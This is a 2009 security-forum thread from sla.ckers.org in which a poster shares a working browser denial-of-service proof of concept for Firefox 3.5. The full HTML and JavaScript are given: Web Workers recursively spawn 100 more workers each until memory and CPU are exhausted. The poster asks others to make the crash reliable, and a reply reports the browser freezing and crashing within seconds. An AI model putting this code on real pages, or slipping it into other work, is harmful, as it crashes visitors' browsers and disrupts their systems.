Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
How do we crash systems, browsers, or otherwise bring things to a halt, and how do we protect those things? 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
Javascript threads (FF3.5)
Posted by: backbone
Date: July 08, 2009 03:04PM

I'm rather astounded that nobody mentioned the javascript threading which can be achieved with Firefox 3.5...

I've conducted an experiment to test the DoSness of them, but it's rather inconclusive. I've managed to crash Firefox in a couple of instances, only when executing other activities in parallel with the thread "bomber"... as mentioned it didn't always work...

Of course the memory usage skyrockets, and the CPU is always in the 98% (90% after closing the tab with the PoC as well), but I can't seem to make Firefox execute a seppuku move at will.

Maybe fellow slackers will have a go at it, and find a way to maximize the memory usage for an instant pop :).

The code I've used:
index.html
<html>
<head>
    <title>ninja-thread</title>
</head>
<body>
    <script type="text/javascript">
    work = new Worker('work.js');
    work.onmessage = function(event) {
        document.title=event.data;
    }
    work.postMessage(1);
    </script>
</body>
</html>

work.js
onmessage = function(event) {
    abc = [];
    for(i=0;i<100;i++) {
        abc = new Worker('work.js');
        abc.onmessage = function(event) {
            postMessage(event.data);
        }
        abc.postMessage(event.data+1);
    }
    postMessage(event.data+1)
}

---
blog [-] microblog

Options: ReplyQuote
Re: Javascript threads (FF3.5)
Posted by: flam
Date: July 13, 2009 10:17AM

I think this is extremely cool, My firefox froze in 5 seconds and crashed in 10.

Options: ReplyQuote


Sorry, only registered users may post in this forum.